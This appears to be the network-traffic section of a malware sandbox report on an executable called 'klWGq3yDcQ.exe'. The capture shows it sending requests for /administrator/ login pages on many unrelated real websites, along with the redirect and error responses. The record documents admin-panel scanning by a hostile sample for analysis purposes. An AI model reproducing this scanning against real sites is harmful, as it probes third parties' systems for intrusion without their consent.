Nov 26, 2023 06:59:31.043448925 CET	762	IN	HTTP/1.1 404 Not Found Date: Sun, 26 Nov 2023 05:59:30 GMT Server: Apache Last-Modified: Thu, 24 Oct 2019 19:33:13 GMT ETag: "1e8-595ad1aad5040" Accept-Ranges: bytes Content-Length: 488 Content-Type: text/html Data Raw: 3c 68 74 6d 6c 3e 0a 0a 3c 68 65 61 64 3e 0a 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 4c 61 6e 67 75 61 67 65 22 20 63 6f 6e 74 65 6e 74 3d 22 70 74 2d 62 72 22 3e 0a 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 77 69 6e 64 6f 77 73 2d 31 32 35 32 22 3e 0a 3c 74 69 74 6c 65 3e 50 e1 67 69 6e 61 20 4e e3 6f 20 45 6e 63 6f 6e 74 72 61 64 61 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 0a 0a 3c 62 6f 64 79 3e 0a 3c 70 20 61 6c 69 67 6e 3d 22 63 65 6e 74 65 72 22 3e 26 6e 62 73 70 3b 3c 2f 70 3e 0a 3c 70 20 61 6c 69 67 6e 3d 22 63 65 6e 74 65 72 22 3e 26 6e 62 73 70 3b 3c 2f 70 3e 0a 3c 70 20 61 6c 69 67 6e 3d 22 63 65 6e 74 65 72 22 3e 26 6e 62 73 70 3b 3c 2f 70 3e 0a 3c 70 20 61 6c 69 67 6e 3d 22 63 65 6e 74 65 72 22 3e 26 6e 62 73 70 3b 3c 2f 70 3e 0a 3c 70 20 61 6c 69 67 6e 3d 22 63 65 6e 74 65 72 22 3e 3c 62 3e 3c 66 6f 6e 74 20 66 61 63 65 3d 22 41 72 69 61 6c 22 20 73 69 7a 65 3d 22 33 22 3e 45 72 72 6f 20 34 30 34 3c 2f 66 6f 6e 74 3e 3c 2f 62 3e 3c 2f 70 3e 0a 3c 70 20 61 6c 69 67 6e 3d 22 63 65 6e 74 65 72 22 3e 3c 66 6f 6e 74 20 66 61 63 65 3d 22 4d 53 20 53 61 6e 73 20 53 65 72 69 66 22 20 73 69 7a 65 3d 22 32 22 3e 50 e1 67 69 6e 61 20 6e e3 6f 20 65 6e 63 6f 6e 74 72 61 64 61 3c 2f 66 6f 6e 74 3e 3c 2f 70 3e 0a 3c 2f 62 6f 64 79 3e 0a 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <html><head><meta http-equiv="Content-Language" content="pt-br"><meta http-equiv="Content-Type" content="text/html; charset=windows-1252"><title>Pgina No Encontrada</title></head><body><p align="center"> </p><p align="center"> </p><p align="center"> </p><p align="center"> </p><p align="center"><b><font face="Arial" size="3">Erro 404</font></b></p><p align="center"><font face="MS Sans Serif" size="2">Pgina no encontrada</font></p></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
33	192.168.2.4	53344	185.230.63.107	80	6240	C:\Users\user\Desktop\klWGq3yDcQ.exe

Timestamp	Bytes transferred	Direction	Data
Nov 26, 2023 06:59:30.404530048 CET	234	OUT	GET /administrator/ HTTP/1.1 Host: linkan-group.com Accept: / Accept-Encoding: deflate, gzip User-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
Nov 26, 2023 06:59:30.534198046 CET	896	IN	HTTP/1.1 301 Moved Permanently Date: Sun, 26 Nov 2023 05:59:30 GMT Content-Length: 0 Connection: keep-alive location: https://www.linkan-group.com/administrator strict-transport-security: max-age=3600 x-wix-request-id: 1700978370.443103319797519345 Age: 0 Server-Timing: cache;desc=miss, varnish;desc=miss, dc;desc=42 X-Seen-By: VtqAe8Wu9wvSsl49B/X4+ewfbs+7qUVAqsIx00yI78k=,m0j2EEknGIVUW/liY8BLLrb3eKb2faxipHpDHW1Enb5/HubKAh1QhTB6OuUXtTGV,2d58ifebGbosy5xc+FRalveHi8sq+ETLoQsgLlInIymrDYiGWBW044EMoSWtXBIZ6+FADXC+YqrdjLt28/RyMw==,2UNV7KOq4oGjA5+PKsX47HWShCS4DzdxDWECJm/3qSgfbJaKSXYQ/lskq2jK6SGP,HGBagNbHaHjyb4d/UK6fckbYqB6/hwX5/SRH1bPtEcQ=,1TnztLIEn9oM+NgebUxhZWunrbwcx7Ajica9WZCxGPE=,znHLAI6vxugFKypFMbJjohE+8x/tk7l8GwSAJmCSTgCYAUFYY3pK7mBx1XtgArCQMbNKQ6oO/j9crZ4+jsEe9A== Cache-Control: no-cache X-Content-Type-Options: nosniff
Nov 26, 2023 06:59:32.536748886 CET	296	OUT	GET /administrator/index.php HTTP/1.1 Host: linkan-group.com Accept: / Accept-Encoding: deflate, gzip User-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0 Referer: https://www.linkan-group.com/administrator
Nov 26, 2023 06:59:32.664364100 CET	906	IN	HTTP/1.1 301 Moved Permanently Date: Sun, 26 Nov 2023 05:59:32 GMT Content-Length: 0 Connection: keep-alive location: https://www.linkan-group.com/administrator/index.php strict-transport-security: max-age=3600 x-wix-request-id: 1700978372.575103319797529345 Age: 0 Server-Timing: cache;desc=miss, varnish;desc=miss, dc;desc=42 X-Seen-By: VtqAe8Wu9wvSsl49B/X4+ewfbs+7qUVAqsIx00yI78k=,m0j2EEknGIVUW/liY8BLLrb3eKb2faxipHpDHW1Enb5/HubKAh1QhTB6OuUXtTGV,2d58ifebGbosy5xc+FRalpr2vHC9EANr4T/nhnY9G7lggQGXZF0eQR2Hsm41o7Kx0soKmPMV4zy+MD2YOTjcjg==,2UNV7KOq4oGjA5+PKsX47Ad3BAkeAb9lWxcyN70+/DFYgeUJqUXtid+86vZww+nL,XPSEbViGktM5KJDgDuw8UHa9j4OmBWfXgbLIhHV5ODI=,RilQpzIg8kSf1FJ4PYuX88X6E4uNi98OLpA9Jeo658E=,znHLAI6vxugFKypFMbJjoh1zLox+yt7/MCIOTdQIIyODvZC2Qmnm+2HKFQQAJVVqwkKwl49dc6VhNKJUDIjnTA== Cache-Control: no-cache X-Content-Type-Options: nosniff

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
34	192.168.2.4	53350	78.128.62.138	80	6240	C:\Users\user\Desktop\klWGq3yDcQ.exe

Timestamp	Bytes transferred	Direction	Data
Nov 26, 2023 06:59:30.405090094 CET	241	OUT	GET /administrator/index.php HTTP/1.1 Host: integraledu.hr Accept: / Accept-Encoding: deflate, gzip User-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
Nov 26, 2023 06:59:30.610302925 CET	602	IN	HTTP/1.1 301 Moved Permanently Date: Sun, 26 Nov 2023 05:59:30 GMT Server: Apache Location: https://integraledu.hr/administrator/index.php Content-Length: 318 Connection: close Content-Type: text/html; charset=iso-8859-1 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 64 6f 63 75 6d 65 6e 74 20 68 61 73 20 6d 6f 76 65 64 20 3c 61 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 69 6e 74 65 67 72 61 6c 65 64 75 2e 68 72 2f 61 64 6d 69 6e 69 73 74 72 61 74 6f 72 2f 69 6e 64 65 78 2e 70 68 70 22 3e 68 65 72 65 3c 2f 61 3e 2e 3c 2f 70 3e 0a 3c 68 72 3e 0a 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 20 53 65 72 76 65 72 20 61 74 20 69 6e 74 65 67 72 61 6c 65 64 75 2e 68 72 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>301 Moved Permanently</title></head><body><h1>Moved Permanently</h1><p>The document has moved <a href="https://integraledu.hr/administrator/index.php">here</a>.</p><hr><address>Apache Server at integraledu.hr Port 80</address></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
35	192.168.2.4	55176	45.40.150.54	80	6240	C:\Users\user\Desktop\klWGq3yDcQ.exe

Timestamp	Bytes transferred	Direction	Data
Nov 26, 2023 06:59:30.486397982 CET	232	OUT	GET /administrator/ HTTP/1.1 Host: engel-firm.com Accept: / Accept-Encoding: deflate, gzip User-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
Nov 26, 2023 06:59:30.639149904 CET	439	IN	HTTP/1.1 308 Permanent Redirect Server: openresty Date: Sun, 26 Nov 2023 05:59:22 GMT Content-Type: text/html; charset=utf-8 Content-Length: 73 Connection: keep-alive location: https://engel-firm.com/administrator/ x-backend: varnish_ssl Strict-Transport-Security: max-age=31536000; includeSubDomains Data Raw: 3c 61 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 65 6e 67 65 6c 2d 66 69 72 6d 2e 63 6f 6d 2f 61 64 6d 69 6e 69 73 74 72 61 74 6f 72 2f 22 3e 50 65 72 6d 61 6e 65 6e 74 20 52 65 64 69 72 65 63 74 3c 2f 61 3e 2e 0a 0a Data Ascii: <a href="https://engel-firm.com/administrator/">Permanent Redirect</a>.

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
36	192.168.2.4	55184	15.236.29.106	80	6240	C:\Users\user\Desktop\klWGq3yDcQ.exe

Timestamp	Bytes transferred	Direction	Data
Nov 26, 2023 06:59:30.486706972 CET	230	OUT	GET /administrator/ HTTP/1.1 Host: quipuapp.com Accept: / Accept-Encoding: deflate, gzip User-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
Nov 26, 2023 06:59:30.666723013 CET	404	IN	HTTP/1.1 301 Moved Permanently Server: nginx Date: Sun, 26 Nov 2023 05:59:30 GMT Content-Type: text/html Content-Length: 162 Connection: keep-alive Location: https://getquipu.com Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>301 Moved Permanently</title></head><body><center><h1>301 Moved Permanently</h1></center><hr><center>nginx</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
37	192.168.2.4	55242	34.136.104.255	80	6240	C:\Users\user\Desktop\klWGq3yDcQ.exe

Timestamp	Bytes transferred	Direction	Data
Nov 26, 2023 06:59:30.486792088 CET	231	OUT	GET /administrator/ HTTP/1.1 Host: tiswheels.com Accept: / Accept-Encoding: deflate, gzip User-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
Nov 26, 2023 06:59:30.623152971 CET	444	IN	HTTP/1.1 301 Moved Permanently Server: nginx Date: Sun, 26 Nov 2023 05:59:30 GMT Content-Type: text/html Content-Length: 162 Connection: keep-alive Keep-Alive: timeout=20 Location: https://tiswheels.com/administrator/ Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>301 Moved Permanently</title></head><body><center><h1>301 Moved Permanently</h1></center><hr><center>nginx</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
38	192.168.2.4	55236	72.167.58.161	80	6240	C:\Users\user\Desktop\klWGq3yDcQ.exe

Timestamp	Bytes transferred	Direction	Data
Nov 26, 2023 06:59:30.488889933 CET	229	OUT	GET /administrator/ HTTP/1.1 Host: webstamp.ca Accept: / Accept-Encoding: deflate, gzip User-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
Nov 26, 2023 06:59:30.645215034 CET	495	IN	HTTP/1.1 301 Moved Permanently Date: Sun, 26 Nov 2023 05:59:30 GMT Server: Apache Location: https://webstamp.ca/administrator/ Content-Length: 242 Content-Type: text/html; charset=iso-8859-1 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 64 6f 63 75 6d 65 6e 74 20 68 61 73 20 6d 6f 76 65 64 20 3c 61 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 77 65 62 73 74 61 6d 70 2e 63 61 2f 61 64 6d 69 6e 69 73 74 72 61 74 6f 72 2f 22 3e 68 65 72 65 3c 2f 61 3e 2e 3c 2f 70 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>301 Moved Permanently</title></head><body><h1>Moved Permanently</h1><p>The document has moved <a href="https://webstamp.ca/administrator/">here</a>.</p></body></html>
Nov 26, 2023 06:59:32.609036922 CET	283	OUT	GET /administrator/index.php HTTP/1.1 Host: webstamp.ca Accept: / Accept-Encoding: deflate, gzip User-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0 Referer: https://webstamp.ca/administrator/
Nov 26, 2023 06:59:32.766258955 CET	513	IN	HTTP/1.1 301 Moved Permanently Date: Sun, 26 Nov 2023 05:59:32 GMT Server: Apache Location: https://webstamp.ca/administrator/index.php Content-Length: 251 Content-Type: text/html; charset=iso-8859-1 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 64 6f 63 75 6d 65 6e 74 20 68 61 73 20 6d 6f 76 65 64 20 3c 61 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 77 65 62 73 74 61 6d 70 2e 63 61 2f 61 64 6d 69 6e 69 73 74 72 61 74 6f 72 2f 69 6e 64 65 78 2e 70 68 70 22 3e 68 65 72 65 3c 2f 61 3e 2e 3c 2f 70 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>301 Moved Permanently</title></head><body><h1>Moved Permanently</h1><p>The document has moved <a href="https://webstamp.ca/administrator/index.php">here</a>.</p></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
39	192.168.2.4	55193	89.31.143.1	80	6240	C:\Users\user\Desktop\klWGq3yDcQ.exe

Timestamp	Bytes transferred	Direction	Data
Nov 26, 2023 06:59:30.503163099 CET	230	OUT	GET /administrator/ HTTP/1.1 Host: viidelta.com Accept: / Accept-Encoding: deflate, gzip User-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
Nov 26, 2023 06:59:30.688314915 CET	1340	IN	HTTP/1.1 200 OK Date: Sun, 26 Nov 2023 05:59:30 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: close X-UD-METHOD: vm_construction Server: UD Forwarding 3.1 Data Raw: 32 33 32 32 33 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 64 65 22 3e 3c 68 65 61 64 3e 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 64 65 73 63 72 69 70 74 69 6f 6e 22 20 63 6f 6e 74 65 6e 74 3d 22 48 69 65 72 20 65 6e 74 73 74 65 68 74 20 76 69 69 64 65 6c 74 61 2e 63 6f 6d 22 3e 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 55 54 46 2d 38 22 3e 3c 6c 69 6e 6b 20 72 65 6c 3d 22 53 48 4f 52 54 43 55 54 20 49 43 4f 4e 22 20 68 72 65 66 3d 22 2f 67 66 78 2f 66 61 76 69 63 6f 6e 2e 69 63 6f 22 3e 3c 74 69 74 6c 65 3e 76 69 69 64 65 6c 74 61 2e 63 6f 6d 3c 2f 74 69 74 6c 65 3e 3c 73 74 79 6c 65 3e 2a 7b 6d 61 72 67 69 6e 3a 30 3b 70 61 64 64 69 6e 67 3a 30 7d 68 74 6d 6c 2c 62 6f 64 79 7b 68 65 69 67 68 74 3a 31 30 30 25 3b 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 23 66 62 66 62 66 62 7d 62 6f 64 79 7b 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 41 72 69 61 6c 2c 56 65 72 64 61 6e 61 2c 73 61 6e 73 2d 73 65 72 69 66 3b 74 65 78 74 2d 61 6c 69 67 6e 3a 63 65 6e 74 65 72 3b 6d 61 72 67 69 6e 3a 30 20 61 75 74 6f 3b 62 61 63 6b 67 72 6f 75 6e 64 3a 75 72 6c 28 27 64 61 74 61 3a 69 6d 61 67 65 2f 70 6e 67 3b 62 61 73 65 36 34 2c 69 56 42 4f 52 77 30 4b 47 67 6f 41 41 41 41 4e 53 55 68 45 55 67 41 41 41 41 77 41 41 41 50 2b 43 41 4d 41 41 41 41 49 47 51 35 61 41 41 41 44 41 46 42 4d 56 45 58 36 2b 76 72 36 2b 76 6e 35 2b 76 72 35 2b 76 6e 36 2b 66 72 36 2b 66 6e 35 2b 66 6e 34 2b 50 6a 34 2b 50 66 33 2b 50 6a 33 2b 50 66 34 39 2f 6a 33 39 2f 66 33 39 2f 62 32 39 76 62 32 39 76 58 31 39 76 62 31 39 76 58 32 39 66 62 31 39 66 58 31 39 66 54 30 39 50 54 30 39 50 50 7a 39 50 54 7a 39 50 50 30 38 2f 54 30 38 2f 50 7a 38 2f 50 79 38 76 4c 79 38 76 48 78 38 76 48 79 38 66 4c 78 38 66 48 78 38 50 48 77 38 50 44 77 38 4f 2f 76 38 50 44 76 38 4f 2f 77 37 2f 44 77 37 2b 2f 76 37 2b 2f 75 37 75 37 75 37 75 33 74 37 75 33 75 37 65 37 75 37 65 33 74 37 65 33 73 37 4f 7a 73 37 4f 76 72 37 4f 7a 72 37 4f 76 73 36 2b 7a 72 36 2b 76 72 36 2b 72 71 36 75 72 71 36 75 6e 70 36 75 72 70 36 75 6e 71 36 65 6e 70 36 65 6e 70 36 4f 6e 6f 36 4f 6a 6f 36 4f 66 6e 36 4f 6a 6e 36 4f 66 6f 35 2b 6a 6f 35 2b 66 6e 35 2b 66 6d 35 75 62 6d 35 75 58 6c 35 75 62 6c 35 75 58 6d 35 65 62 6d 35 65 58 6c 35 65 58 6b 35 4f 54 6b 35 4f 50 6a 35 4f 54 6a 35 4f 50 6b 34 2b 54 6a 34 2b 50 6a 34 2b 4c 69 34 75 4c 69 34 75 48 68 34 75 4c 68 34 75 48 69 34 65 4c 69 34 65 48 68 34 65 48 67 34 4f 44 67 34 4e 2f 66 34 4f 44 67 33 2b 44 66 33 39 2f 66 33 39 37 65 33 74 37 65 33 74 33 64 33 74 37 65 33 64 37 64 33 64 33 64 33 64 7a 63 33 4e 7a 63 33 4e 76 62 33 4e 7a 62 33 4e 76 63 32 39 7a 62 32 39 76 62 32 39 72 61 32 74 72 61 32 74 6e 5a 32 74 72 61 32 64 72 61 32 64 6e 59 32 74 6e 5a 32 64 6e 59 32 4e 6a 59 32 4e 66 58 32 4e 6a 58 32 4e 66 59 31 39 6a 58 31 39 66 58 31 39 62 57 31 74 62 57 31 74 58 56 31 74 62 56 31 74 58 57 31 64 62 57 31 64 58 56 31 64 58 55 31 4e 54 55 31 4e 50 54 31 4e 54 54 31 4e 50 55 30 39 54 55 30 39 50 54 30 39 50 53 30 74 4c 53 30 74 48 52 30 74 4c 52 30 74 48 53 30 64 4c 53 30 64 48 52 30 64 48 51 30 4e 44 51 30 4d 2f 50 30 4e 44 50 30 4d 2f 51 7a 39 44 50 7a 38 2f 50 7a 38 37 4e 7a 63 33 4d 7a 4d 33 4d Data Ascii: 23223<!DOCTYPE html><html lang="de"><head><meta name="description" content="Hier entsteht viidelta.com"><meta http-equiv="Content-Type" content="text/html; charset=UTF-8"><link rel="SHORTCUT ICON" href="/gfx/favicon.ico"><title>viidelta.com</title><style>*{margin:0;padding:0}html,body{height:100%;background-color:#fbfbfb}body{font-family:Arial,Verdana,sans-serif;text-align:center;margin:0 auto;background:url('data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAwAAAP+CAMAAAAIGQ5aAAADAFBMVEX6+vr6+vn5+vr5+vn6+fr6+fn5+fn4+Pj4+Pf3+Pj3+Pf49/j39/f39/b29vb29vX19vb19vX29fb19fX19fT09PT09PPz9PTz9PP08/T08/Pz8/Py8vLy8vHx8vHy8fLx8fHx8PHw8PDw8O/v8PDv8O/w7/Dw7+/v7+/u7u7u7u3t7u3u7e7u7e3t7e3s7Ozs7Ovr7Ozr7Ovs6+zr6+vr6+rq6urq6unp6urp6unq6enp6enp6Ono6Ojo6Ofn6Ojn6Ofo5+jo5+fn5+fm5ubm5uXl5ubl5uXm5ebm5eXl5eXk5OTk5OPj5OTj5OPk4+Tj4+Pj4+Li4uLi4uHh4uLh4uHi4eLi4eHh4eHg4ODg4N/f4ODg3+Df39/f397e3t7e3t3d3t7e3d7d3d3d3dzc3Nzc3Nvb3Nzb3Nvc29zb29vb29ra2tra2tnZ2tra2dra2dnY2tnZ2dnY2NjY2NfX2NjX2NfY19jX19fX19bW1tbW1tXV1tbV1tXW1dbW1dXV1dXU1NTU1NPT1NTT1NPU09TU09PT09PS0tLS0tHR0tLR0tHS0dLS0dHR0dHQ0NDQ0M/P0NDP0M/Qz9DPz8/Pz87Nzc3MzM3M
Nov 26, 2023 06:59:30.688342094 CET	1340	IN	Data Raw: 7a 4d 7a 4d 79 38 7a 4c 79 38 76 4b 79 38 72 4a 79 63 6e 49 79 4d 6a 48 79 4d 6e 48 79 4d 66 49 78 38 6a 48 78 38 66 48 78 38 62 46 78 63 58 45 78 4d 58 45 78 4d 54 44 78 4d 50 45 77 38 54 45 77 38 50 44 77 38 50 42 77 63 48 41 77 4d 48 41 77 4d Data Ascii: zMzMy8zLy8vKy8rJycnIyMjHyMnHyMfIx8jHx8fHx8bFxcXExMXExMTDxMPEw8TEw8PDw8PBwcHAwMHAwMC/wL/Av8DAv7+/v7++vr6+vr29vr69vr2+vb69vb29vby8vLy8vLu7vLy8u7y7u7u7u7q7urq5ubm4uLi3uLi3uLe4t7i4t7e3t7e2tra2trW1tra1trW2tba1tbW1tbS0tLS0tLOztLSztLO0s7S0s7Ozs7OysrK
Nov 26, 2023 06:59:30.688359976 CET	1340	IN	Data Raw: 2b 34 6d 37 43 46 42 77 68 76 6a 43 4b 47 41 75 36 6b 2f 4e 6c 6c 50 45 37 63 43 39 79 70 69 2b 6b 34 4f 72 39 35 66 30 56 67 30 7a 33 72 68 32 4e 79 59 45 50 61 4f 4f 67 77 63 68 69 47 58 39 51 6b 70 6b 47 6c 43 6f 65 77 6a 46 77 54 67 31 57 53 Data Ascii: +4m7CFBwhvjCKGAu6k/NllPE7cC9ypi+k4Or95f0Vg0z3rh2NyYEPaOOgwchiGX9QkpkGlCoewjFwTg1WSWd5kdC2o2BDZUEBb7rQJI4SGZy1wN9G0ApoYWu9znB6ys5mXgnaZHUTBrsjt6ApvMr21VUrznKBuKiefMsyOrw6WYJ3YkW+MWwFVc3DtgHChXYWiKcJOtFd2Rxfs6LXDh8ebIkTjbjeQLdnI9BR6yEazqfpmm3gX2
Nov 26, 2023 06:59:30.688376904 CET	1340	IN	Data Raw: 66 52 47 39 48 62 45 4b 61 39 58 6c 35 5a 30 58 47 77 70 69 34 78 65 54 4e 36 63 44 76 6f 58 4d 70 47 70 6d 73 7a 34 74 50 71 62 50 6a 59 6a 74 30 63 72 64 5a 74 31 69 77 53 33 5a 70 75 63 6d 77 49 48 6b 49 4e 74 6f 73 63 6c 75 30 6c 4c 58 75 55 Data Ascii: fRG9HbEKa9Xl5Z0XGwpi4xeTN6cDvoXMpGpmsz4tPqbPjYjt0crdZt1iwS3ZpucmwIHkINtosclu0lLXuU9I7NdYnnfmTxPXq40H2NK0mnvWHCL+kCFOtyrWjGdJNOEFO5SVlriQ2SdQD/yIaVPPSf4bb/5DMJE6EJG5m6t/TZTv65mqg8SGi2UQFXWR1LYvlLmvMOaKJ1GITEyLNP2i4oCmqp/jnBjKtjztg0aWcwb/o990mKD
Nov 26, 2023 06:59:30.688426971 CET	1340	IN	Data Raw: 4b 47 67 6f 41 41 41 41 4e 53 55 68 45 55 67 41 41 41 71 41 41 41 41 4b 33 43 41 4d 41 41 41 42 74 4d 51 33 55 41 41 41 42 67 46 42 4d 56 45 55 41 41 41 44 52 30 64 48 2f 2f 2f 2b 78 73 62 48 2f 2f 2f 2b 71 71 71 72 35 2b 66 6d 71 71 71 71 6f 71 Data Ascii: KGgoAAAANSUhEUgAAAqAAAAK3CAMAAABtMQ3UAAABgFBMVEUAAADR0dH///+xsbH///+qqqr5+fmqqqqoqKj6+vqrq6v4+PipqamoqKj5+fmoqKjQ0NCnp6enp6f6+vqmpqbX19enp6enp6dlY2H7+/unp6empqbc3NzFxcX8/Pynp6empqazs7ODg4L6+vrBwcGmpqbR0dHc3NyqeF9fXl6mpqb7+/tcOx6mpqbS0tLe3t6+vb
Nov 26, 2023 06:59:30.688443899 CET	1340	IN	Data Raw: 4e 46 41 45 7a 6f 68 31 46 55 55 4e 44 48 51 56 47 6f 51 68 55 74 46 59 30 48 6f 41 7a 6a 78 69 6c 48 6f 35 4d 77 30 4e 4b 4f 4a 47 35 34 6a 6e 67 52 34 49 70 35 4b 52 66 73 59 54 6c 68 4e 58 30 34 4b 56 62 71 42 55 30 76 79 53 4f 76 67 47 67 66 Data Ascii: NFAEzoh1FUUNDHQVGoQhUtFY0HoAzjxilHo5Mw0NKOJG54jngR4Ip5KRfsYTlhNX04KVbqBU0vySOvgGgfGtURrOh+RHXA7Q0oVMFqgSR8Lp2G5yEsHrM5HOcuIoqJJRJOAjkBAIYTW1Is8HpgamSPGQYkHTYOTXwkXUL5KtB9EoTMZeCbz0u54BpveeCIvCVKKu1nNCw5l8MgpvOqaI0phB1TElFp/9fJ5cjadb80NPBWmoJFD
